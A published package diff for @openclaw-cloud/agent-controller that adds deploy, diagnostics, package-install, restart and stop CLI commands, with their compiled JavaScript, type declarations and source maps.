@openclaw-cloud/agent-controller 2.4.0-beta.3 → 2.4.0-beta.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -49,13 +49,31 @@ if (command === '--version' || command === '-v') {
49
49
  } else if (command === 'agent-update' || command === 'agent_update') {
50
50
  const { runAgentUpdateCli } = await import('../dist/commands/agent-update-cli.js');
51
51
  await runAgentUpdateCli(process.argv.slice(3));
52
+ } else if (command === 'update-skills' || command === 'update_skills') {
53
+ const { updateSkills } = await import('../dist/commands/update-skills.js');
54
+ await updateSkills();
55
+ } else if (command === 'restart') {
56
+ const { runRestartCli } = await import('../dist/commands/restart-cli.js');
57
+ await runRestartCli();
58
+ } else if (command === 'diagnostics') {
59
+ const { runDiagnosticsCli } = await import('../dist/commands/diagnostics-cli.js');
60
+ await runDiagnosticsCli(process.argv.slice(3));
61
+ } else if (command === 'deploy') {
62
+ const { runDeployCli } = await import('../dist/commands/deploy-cli.js');
63
+ await runDeployCli(process.argv.slice(3));
64
+ } else if (command === 'package-install' || command === 'package_install') {
65
+ const { runPackageInstallCli } = await import('../dist/commands/package-install-cli.js');
66
+ await runPackageInstallCli(process.argv.slice(3));
67
+ } else if (command === 'stop') {
68
+ const { runStopCli } = await import('../dist/commands/stop-cli.js');
69
+ await runStopCli();
52
70
  } else if (command === undefined) {
53
71
  const { main } = await import('../dist/index.js');
54
72
  main();
55
73
  } else {
56
74
  console.error(`Unknown command: ${command}`);
57
75
  console.error(
58
- 'Available: --version, self-update, backup, knowledge-sync, heartbeat, bootstrap, update-config, install-deps, install, uninstall, channel-server, plugin-update, agent-update',
76
+ 'Available: --version, self-update, backup, knowledge-sync, heartbeat, bootstrap, update-config, install-deps, install, uninstall, channel-server, plugin-update, agent-update, update-skills, restart, diagnostics, deploy, package-install, stop',
59
77
  );
60
78
  process.exit(2);
61
79
  }
@@ -0,0 +1 @@
1
+ export declare function runDeployCli(args: string[]): Promise<void>;
@@ -0,0 +1,60 @@
1
+ import { installOpenclaw } from '../utils/openclaw-ops.js';
2
+ import { restartGateway } from '../utils/gateway-restart.js';
3
+ import { logCollector } from '../connection.js';
4
+ import { toErrorMessage } from '../utils/response.js';
5
+ // ---------------------------------------------------------------------------
6
+ // CLI entrypoint for `agent-controller deploy [version]`. Installs the named
7
+ // openclaw runtime version (default: `latest`) and restarts the gateway.
8
+ //
9
+ // The WS handler at src/handlers/deploy.ts only restarts the gateway — it
10
+ // trusts the backend to have triggered the npm install through agent_update
11
+ // or self_update first. The CLI variant doesn't have that scaffolding, so it
12
+ // owns both the install and the restart.
13
+ // ---------------------------------------------------------------------------
14
+ const USAGE = 'Usage: agent-controller deploy [version]';
15
+ export async function runDeployCli(args) {
16
+ if (args.length > 1) {
17
+ console.error(USAGE);
18
+ process.exit(2);
19
+ }
20
+ const version = args[0]?.trim() || 'latest';
21
+ logCollector?.push('deploy_cli_start', 'info', 'deploy CLI invoked', { version });
22
+ let installed = false;
23
+ try {
24
+ console.log(`[deploy] installing openclaw@${version}...`);
25
+ installed = await installOpenclaw(version);
26
+ if (installed) {
27
+ console.log(`[deploy] openclaw@${version} installed`);
28
+ }
29
+ else {
30
+ console.log(`[deploy] openclaw@${version} already installed, nothing to do`);
31
+ }
32
+ }
33
+ catch (err) {
34
+ const msg = toErrorMessage(err);
35
+ console.error(`[deploy] failed: ${msg}`);
36
+ logCollector?.push('deploy_cli_failed', 'error', 'deploy CLI failed', {
37
+ version,
38
+ error: msg,
39
+ });
40
+ process.exit(1);
41
+ }
42
+ // Always restart the gateway — even when the runtime install was a no-op
43
+ // the operator typed `deploy` for a reason (likely to recover a wedged
44
+ // gateway). Mirrors the WS handler's restart-on-deploy semantics.
45
+ console.log('[deploy] restarting gateway...');
46
+ try {
47
+ await restartGateway();
48
+ console.log('[deploy] gateway restarted');
49
+ }
50
+ catch (err) {
51
+ const msg = toErrorMessage(err);
52
+ console.error(`[deploy] gateway restart failed (treating as warning): ${msg}`);
53
+ logCollector?.push('deploy_cli_restart_failed', 'warn', 'Gateway restart failed after deploy', {
54
+ version,
55
+ error: msg,
56
+ });
57
+ }
58
+ console.log('[deploy] done');
59
+ }
60
+ //# sourceMappingURL=deploy-cli.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"deploy-cli.js","sourceRoot":"","sources":["../../src/commands/deploy-cli.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,eAAe,EAAE,MAAM,0BAA0B,CAAC;AAC3D,OAAO,EAAE,cAAc,EAAE,MAAM,6BAA6B,CAAC;AAC7D,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAEtD,8EAA8E;AAC9E,6EAA6E;AAC7E,yEAAyE;AACzE,EAAE;AACF,0EAA0E;AAC1E,4EAA4E;AAC5E,6EAA6E;AAC7E,yCAAyC;AACzC,8EAA8E;AAE9E,MAAM,KAAK,GAAG,0CAA0C,CAAC;AAEzD,MAAM,CAAC,KAAK,UAAU,YAAY,CAAC,IAAc;IAC/C,IAAI,IAAI,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;QACpB,OAAO,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC;QACrB,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC;IACD,MAAM,OAAO,GAAG,IAAI,CAAC,CAAC,CAAC,EAAE,IAAI,EAAE,IAAI,QAAQ,CAAC;IAE5C,YAAY,EAAE,IAAI,CAAC,kBAAkB,EAAE,MAAM,EAAE,oBAAoB,EAAE,EAAE,OAAO,EAAE,CAAC,CAAC;IAElF,IAAI,SAAS,GAAG,KAAK,CAAC;IACtB,IAAI,CAAC;QACH,OAAO,CAAC,GAAG,CAAC,gCAAgC,OAAO,KAAK,CAAC,CAAC;QAC1D,SAAS,GAAG,MAAM,eAAe,CAAC,OAAO,CAAC,CAAC;QAC3C,IAAI,SAAS,EAAE,CAAC;YACd,OAAO,CAAC,GAAG,CAAC,qBAAqB,OAAO,YAAY,CAAC,CAAC;QACxD,CAAC;aAAM,CAAC;YACN,OAAO,CAAC,GAAG,CAAC,qBAAqB,OAAO,mCAAmC,CAAC,CAAC;QAC/E,CAAC;IACH,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,MAAM,GAAG,GAAG,cAAc,CAAC,GAAG,CAAC,CAAC;QAChC,OAAO,CAAC,KAAK,CAAC,oBAAoB,GAAG,EAAE,CAAC,CAAC;QACzC,YAAY,EAAE,IAAI,CAAC,mBAAmB,EAAE,OAAO,EAAE,mBAAmB,EAAE;YACpE,OAAO;YACP,KAAK,EAAE,GAAG;SACX,CAAC,CAAC;QACH,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC;IAED,yEAAyE;IACzE,uEAAuE;IACvE,kEAAkE;IAClE,OAAO,CAAC,GAAG,CAAC,gCAAgC,CAAC,CAAC;IAC9C,IAAI,CAAC;QACH,MAAM,cAAc,EAAE,CAAC;QACvB,OAAO,CAAC,GAAG,CAAC,4BAA4B,CAAC,CAAC;IAC5C,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,MAAM,GAAG,GAAG,cAAc,CAAC,GAAG,CAAC,CAAC;QAChC,OAAO,CAAC,KAAK,CAAC,0DAA0D,GAAG,EAAE,CAAC,CAAC;QAC/E,YAAY,EAAE,IAAI,CAAC,2BAA2B,EAAE,MAAM,EAAE,qCAAqC,EAAE;YAC7F,OAAO;YACP,KAAK,EAAE,GAAG;SACX,CAAC,CAAC;IACL,CAAC;IAED,OAAO,CAAC,GAAG,CAAC,eAAe,CAAC,CAAC;AAC/B,CAAC"}
@@ -0,0 +1 @@
1
+ export declare function runDiagnosticsCli(args: string[]): Promise<void>;
@@ -0,0 +1,38 @@
1
+ import { ALLOWED_CHECKS, isKnownCheck, runDiagnostics } from '../utils/diagnostics.js';
2
+ import { logCollector } from '../connection.js';
3
+ import { toErrorMessage } from '../utils/response.js';
4
+ // ---------------------------------------------------------------------------
5
+ // CLI entrypoint for `agent-controller diagnostics [check]`. Mirrors the WS
6
+ // handler's allowlist (`src/utils/diagnostics.ts`). With no argument, runs
7
+ // every allowlisted check; with one argument, runs only that check.
8
+ // Output is structured JSON on stdout for easy consumption.
9
+ // ---------------------------------------------------------------------------
10
+ const USAGE = `Usage: agent-controller diagnostics [check]\n` +
11
+ `Available checks: ${Object.keys(ALLOWED_CHECKS).sort().join(', ')}`;
12
+ export async function runDiagnosticsCli(args) {
13
+ if (args.length > 1) {
14
+ console.error(USAGE);
15
+ process.exit(2);
16
+ }
17
+ const check = args[0]?.trim();
18
+ if (check && !isKnownCheck(check)) {
19
+ console.error(`Unknown diagnostic check: ${check}`);
20
+ console.error(USAGE);
21
+ process.exit(2);
22
+ }
23
+ logCollector?.push('diagnostics_cli_start', 'info', 'diagnostics CLI invoked', {
24
+ check: check ?? 'all',
25
+ });
26
+ try {
27
+ const checks = check ? [check] : undefined;
28
+ const results = await runDiagnostics(checks);
29
+ console.log(JSON.stringify({ results }, null, 2));
30
+ }
31
+ catch (err) {
32
+ const msg = toErrorMessage(err);
33
+ console.error(`[diagnostics] failed: ${msg}`);
34
+ logCollector?.push('diagnostics_cli_failed', 'error', 'diagnostics CLI failed', { error: msg });
35
+ process.exit(1);
36
+ }
37
+ }
38
+ //# sourceMappingURL=diagnostics-cli.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"diagnostics-cli.js","sourceRoot":"","sources":["../../src/commands/diagnostics-cli.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,cAAc,EAAE,YAAY,EAAE,cAAc,EAAE,MAAM,yBAAyB,CAAC;AACvF,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAEtD,8EAA8E;AAC9E,4EAA4E;AAC5E,2EAA2E;AAC3E,oEAAoE;AACpE,4DAA4D;AAC5D,8EAA8E;AAE9E,MAAM,KAAK,GACT,+CAA+C;IAC/C,qBAAqB,MAAM,CAAC,IAAI,CAAC,cAAc,CAAC,CAAC,IAAI,EAAE,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC;AAEvE,MAAM,CAAC,KAAK,UAAU,iBAAiB,CAAC,IAAc;IACpD,IAAI,IAAI,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;QACpB,OAAO,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC;QACrB,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC;IAED,MAAM,KAAK,GAAG,IAAI,CAAC,CAAC,CAAC,EAAE,IAAI,EAAE,CAAC;IAC9B,IAAI,KAAK,IAAI,CAAC,YAAY,CAAC,KAAK,CAAC,EAAE,CAAC;QAClC,OAAO,CAAC,KAAK,CAAC,6BAA6B,KAAK,EAAE,CAAC,CAAC;QACpD,OAAO,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC;QACrB,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC;IAED,YAAY,EAAE,IAAI,CAAC,uBAAuB,EAAE,MAAM,EAAE,yBAAyB,EAAE;QAC7E,KAAK,EAAE,KAAK,IAAI,KAAK;KACtB,CAAC,CAAC;IAEH,IAAI,CAAC;QACH,MAAM,MAAM,GAAG,KAAK,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,SAAS,CAAC;QAC3C,MAAM,OAAO,GAAG,MAAM,cAAc,CAAC,MAAM,CAAC,CAAC;QAC7C,OAAO,CAAC,GAAG,CAAC,IAAI,CAAC,SAAS,CAAC,EAAE,OAAO,EAAE,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC,CAAC;IACpD,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,MAAM,GAAG,GAAG,cAAc,CAAC,GAAG,CAAC,CAAC;QAChC,OAAO,CAAC,KAAK,CAAC,yBAAyB,GAAG,EAAE,CAAC,CAAC;QAC9C,YAAY,EAAE,IAAI,CAAC,wBAAwB,EAAE,OAAO,EAAE,wBAAwB,EAAE,EAAE,KAAK,EAAE,GAAG,EAAE,CAAC,CAAC;QAChG,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC;AACH,CAAC"}
@@ -0,0 +1 @@
1
+ export declare function runPackageInstallCli(args: string[]): Promise<void>;
@@ -0,0 +1,89 @@
1
+ import { installOnePackage, isSafePackageName, } from '../utils/package-install.js';
2
+ import { logCollector } from '../connection.js';
3
+ // ---------------------------------------------------------------------------
4
+ // CLI entrypoint for `agent-controller package-install <name> [--manager M]`.
5
+ // Mirrors the WS handler's regex allowlist and per-package install flow,
6
+ // but takes a single package on the command line rather than a batch.
7
+ //
8
+ // Manager selection:
9
+ // --manager apt|npm|pip → explicit
10
+ // (none) → auto-detect by name shape:
11
+ // starts with '@' or contains '/' (and isn't a path) → npm
12
+ // everything else → apt on linux,
13
+ // npm elsewhere
14
+ // ---------------------------------------------------------------------------
15
+ const VALID_MANAGERS = ['apt', 'npm', 'pip'];
16
+ const USAGE = 'Usage: agent-controller package-install <name> [--manager apt|npm|pip]';
17
+ function parseArgs(args) {
18
+ let name;
19
+ let manager;
20
+ for (let i = 0; i < args.length; i++) {
21
+ const a = args[i];
22
+ if (a === '--manager') {
23
+ const next = args[i + 1]?.trim();
24
+ if (!next || !VALID_MANAGERS.includes(next))
25
+ return null;
26
+ manager = next;
27
+ i++;
28
+ continue;
29
+ }
30
+ if (a?.startsWith('--manager=')) {
31
+ const value = a.slice('--manager='.length).trim();
32
+ if (!value || !VALID_MANAGERS.includes(value))
33
+ return null;
34
+ manager = value;
35
+ continue;
36
+ }
37
+ if (name !== undefined)
38
+ return null; // multiple positional args
39
+ name = a?.trim();
40
+ }
41
+ if (!name)
42
+ return null;
43
+ return { name, manager };
44
+ }
45
+ function autoDetectManager(name) {
46
+ // npm scoped (`@scope/name`) or path-style scoped names → npm
47
+ if (name.startsWith('@') || name.includes('/')) {
48
+ return 'npm';
49
+ }
50
+ // Linux: assume system package by default; elsewhere fall back to npm so
51
+ // the CLI is still useful on macOS/Windows dev boxes.
52
+ return process.platform === 'linux' ? 'apt' : 'npm';
53
+ }
54
+ export async function runPackageInstallCli(args) {
55
+ const parsed = parseArgs(args);
56
+ if (!parsed) {
57
+ console.error(USAGE);
58
+ process.exit(2);
59
+ }
60
+ const { name } = parsed;
61
+ const manager = parsed.manager ?? autoDetectManager(name);
62
+ if (!isSafePackageName(name)) {
63
+ console.error(`[package-install] invalid package name: ${name}`);
64
+ logCollector?.push('package_install_cli_rejected', 'warn', 'Rejected unsafe package name', {
65
+ name,
66
+ manager,
67
+ });
68
+ process.exit(2);
69
+ }
70
+ logCollector?.push('package_install_cli_start', 'info', 'package-install CLI invoked', {
71
+ name,
72
+ manager,
73
+ });
74
+ console.log(`[package-install] installing ${name} via ${manager}...`);
75
+ const result = await installOnePackage(manager, name);
76
+ if (result.ok) {
77
+ console.log(`[package-install] ${name} installed`);
78
+ console.log('[package-install] done');
79
+ return;
80
+ }
81
+ console.error(`[package-install] failed: ${result.error}`);
82
+ logCollector?.push('package_install_cli_failed', 'error', 'package-install CLI failed', {
83
+ name,
84
+ manager,
85
+ error: result.error,
86
+ });
87
+ process.exit(1);
88
+ }
89
+ //# sourceMappingURL=package-install-cli.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"package-install-cli.js","sourceRoot":"","sources":["../../src/commands/package-install-cli.ts"],"names":[],"mappings":"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"}
@@ -0,0 +1 @@
1
+ export declare function runRestartCli(): Promise<void>;
@@ -0,0 +1,26 @@
1
+ import { restartGateway } from '../utils/gateway-restart.js';
2
+ import { logCollector } from '../connection.js';
3
+ import { toErrorMessage } from '../utils/response.js';
4
+ // ---------------------------------------------------------------------------
5
+ // CLI entrypoint for `agent-controller restart`. Mirrors the WS handler at
6
+ // src/handlers/restart.ts: best-effort gateway restart with structured stdout.
7
+ // ---------------------------------------------------------------------------
8
+ export async function runRestartCli() {
9
+ console.log('[restart] restarting openclaw gateway...');
10
+ logCollector?.push('restart_cli_start', 'info', 'restart CLI invoked', {});
11
+ try {
12
+ const { stdout, stderr } = await restartGateway();
13
+ if (stdout)
14
+ console.log(stdout);
15
+ if (stderr)
16
+ console.error(stderr);
17
+ console.log('[restart] done');
18
+ }
19
+ catch (err) {
20
+ const msg = toErrorMessage(err);
21
+ console.error(`[restart] failed: ${msg}`);
22
+ logCollector?.push('restart_cli_failed', 'error', 'restart CLI failed', { error: msg });
23
+ process.exit(1);
24
+ }
25
+ }
26
+ //# sourceMappingURL=restart-cli.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"restart-cli.js","sourceRoot":"","sources":["../../src/commands/restart-cli.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,cAAc,EAAE,MAAM,6BAA6B,CAAC;AAC7D,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAEtD,8EAA8E;AAC9E,2EAA2E;AAC3E,+EAA+E;AAC/E,8EAA8E;AAE9E,MAAM,CAAC,KAAK,UAAU,aAAa;IACjC,OAAO,CAAC,GAAG,CAAC,0CAA0C,CAAC,CAAC;IACxD,YAAY,EAAE,IAAI,CAAC,mBAAmB,EAAE,MAAM,EAAE,qBAAqB,EAAE,EAAE,CAAC,CAAC;IAE3E,IAAI,CAAC;QACH,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,GAAG,MAAM,cAAc,EAAE,CAAC;QAClD,IAAI,MAAM;YAAE,OAAO,CAAC,GAAG,CAAC,MAAM,CAAC,CAAC;QAChC,IAAI,MAAM;YAAE,OAAO,CAAC,KAAK,CAAC,MAAM,CAAC,CAAC;QAClC,OAAO,CAAC,GAAG,CAAC,gBAAgB,CAAC,CAAC;IAChC,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,MAAM,GAAG,GAAG,cAAc,CAAC,GAAG,CAAC,CAAC;QAChC,OAAO,CAAC,KAAK,CAAC,qBAAqB,GAAG,EAAE,CAAC,CAAC;QAC1C,YAAY,EAAE,IAAI,CAAC,oBAAoB,EAAE,OAAO,EAAE,oBAAoB,EAAE,EAAE,KAAK,EAAE,GAAG,EAAE,CAAC,CAAC;QACxF,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAClB,CAAC;AACH,CAAC"}
@@ -0,0 +1,6 @@
1
+ /**
2
+ * Internal seam — wraps `process.kill` so tests can swap in a stub without
3
+ * mocking the global. Exported for testing only.
4
+ */
5
+ export declare const _killProcess: (pid: number, signal: NodeJS.Signals) => void;
6
+ export declare function runStopCli(): Promise<void>;
@@ -0,0 +1,62 @@
1
+ import { isLockFilePresent, readLockFilePid } from '../lockfile.js';
2
+ import { logCollector } from '../connection.js';
3
+ import { toErrorMessage } from '../utils/response.js';
4
+ // ---------------------------------------------------------------------------
5
+ // CLI entrypoint for `agent-controller stop`. The WS handler at
6
+ // src/handlers/stop.ts gracefully shuts down the running agent-controller
7
+ // process — the CLI can't do that directly because it's a separate
8
+ // short-lived process, so we signal the running daemon instead.
9
+ //
10
+ // Strategy (option B from the design discussion):
11
+ // 1. Read the lockfile (~/.openclaw/agent-controller/agent-controller.lock
12
+ // or /opt/openclaw-cloud/agent-controller/agent-controller.lock) to
13
+ // find the daemon PID.
14
+ // 2. Send SIGTERM. The daemon's normal shutdown path runs.
15
+ // 3. Exit 0 once the signal is sent — we don't wait for the daemon to
16
+ // actually exit because the supervisor (systemd/launchd/k8s) will
17
+ // decide whether to restart it.
18
+ //
19
+ // Failure modes:
20
+ // - No lockfile / daemon not running → exit 0 with a "not running" log
21
+ // - Lockfile exists but PID is gone (stale) → exit 0, hint to remove lock
22
+ // - kill(pid, SIGTERM) throws → exit 1 (permission, etc.)
23
+ // ---------------------------------------------------------------------------
24
+ const STOP_SIGNAL = 'SIGTERM';
25
+ /**
26
+ * Internal seam — wraps `process.kill` so tests can swap in a stub without
27
+ * mocking the global. Exported for testing only.
28
+ */
29
+ export const _killProcess = (pid, signal) => {
30
+ process.kill(pid, signal);
31
+ };
32
+ export async function runStopCli() {
33
+ logCollector?.push('stop_cli_start', 'info', 'stop CLI invoked', {});
34
+ if (!isLockFilePresent()) {
35
+ console.log('[stop] agent-controller is not running (no lock file found)');
36
+ return;
37
+ }
38
+ const pid = readLockFilePid();
39
+ if (pid === null) {
40
+ console.log('[stop] lock file present but PID could not be read — daemon may have crashed; ' +
41
+ 'remove the lock file manually if you are sure no controller is running');
42
+ return;
43
+ }
44
+ console.log(`[stop] sending ${STOP_SIGNAL} to agent-controller (pid ${pid})...`);
45
+ try {
46
+ _killProcess(pid, STOP_SIGNAL);
47
+ }
48
+ catch (err) {
49
+ const e = err;
50
+ if (e.code === 'ESRCH') {
51
+ console.log(`[stop] process ${pid} not found — daemon already exited; lock file may be stale`);
52
+ return;
53
+ }
54
+ const msg = toErrorMessage(err);
55
+ console.error(`[stop] failed to signal pid ${pid}: ${msg}`);
56
+ logCollector?.push('stop_cli_failed', 'error', 'stop CLI failed', { pid, error: msg });
57
+ process.exit(1);
58
+ }
59
+ console.log(`[stop] signal delivered to pid ${pid}`);
60
+ console.log('[stop] done');
61
+ }
62
+ //# sourceMappingURL=stop-cli.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"stop-cli.js","sourceRoot":"","sources":["../../src/commands/stop-cli.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,iBAAiB,EAAE,eAAe,EAAE,MAAM,gBAAgB,CAAC;AACpE,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAChD,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAEtD,8EAA8E;AAC9E,gEAAgE;AAChE,0EAA0E;AAC1E,mEAAmE;AACnE,gEAAgE;AAChE,EAAE;AACF,kDAAkD;AAClD,6EAA6E;AAC7E,yEAAyE;AACzE,4BAA4B;AAC5B,6DAA6D;AAC7D,wEAAwE;AACxE,uEAAuE;AACvE,qCAAqC;AACrC,EAAE;AACF,iBAAiB;AACjB,yEAAyE;AACzE,4EAA4E;AAC5E,4DAA4D;AAC5D,8EAA8E;AAE9E,MAAM,WAAW,GAAmB,SAAS,CAAC;AAE9C;;;GAGG;AACH,MAAM,CAAC,MAAM,YAAY,GAAG,CAAC,GAAW,EAAE,MAAsB,EAAQ,EAAE;IACxE,OAAO,CAAC,IAAI,CAAC,GAAG,EAAE,MAAM,CAAC,CAAC;AAC5B,CAAC,CAAC;AAEF,MAAM,CAAC,KAAK,UAAU,UAAU;IAC9B,YAAY,EAAE,IAAI,CAAC,gBAAgB,EAAE,MAAM,EAAE,kBAAkB,EAAE,EAAE,CAAC,CAAC;IAErE,IAAI,CAAC,iBAAiB,EAAE,EAAE,CAAC;QACzB,OAAO,CAAC,GAAG,CAAC,6DAA6D,CAAC,CAAC;QAC3E,OAAO;IACT,CAAC;IAED,MAAM,GAAG,GAAG,eAAe,EAAE,CAAC;IAC9B,IAAI,GAAG,KAAK,IAAI,EAAE,CAAC;QACjB,OAAO,CAAC,GAAG,CACT,gFAAgF;YAC9E,wEAAwE,CAC3E,CAAC;QACF,OAAO;IACT,CAAC;IAED,OAAO,CAAC,GAAG,CAAC,kBAAkB,WAAW,6BAA6B,GAAG,MAAM,CAAC,CAAC;IACjF,IAAI,CAAC;QACH,YAAY,CAAC,GAAG,EAAE,WAAW,CAAC,CAAC;IACjC,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,MAAM,CAAC,GAAG,GAA4B,CAAC;QACvC,IAAI,CAAC,CAAC,IAAI,KAAK,OAAO,EAAE,CAAC;YACvB,OAAO,CAAC,GAAG,CACT,kBAAkB,GAAG,4DAA4D,CAClF,CAAC;YACF,OAAO;QACT,CAAC;QACD,MAAM,GAAG,GAAG,cAAc,CAAC,GAAG,CAAC,CAAC;QAChC,OAAO,CAAC,KAAK,CAAC,+BAA+B,GAAG,KAAK,GAAG,EAAE,CAAC,CAAC;QAC5D,YAAY,EAAE,IAAI,CAAC,iBAAiB,EAAE,OAAO,EAAE,iBAAiB,EAAE,EAAE,GAAG,EAAE,KAAK,EAAE,GAAG,EAAE,CAAC,CA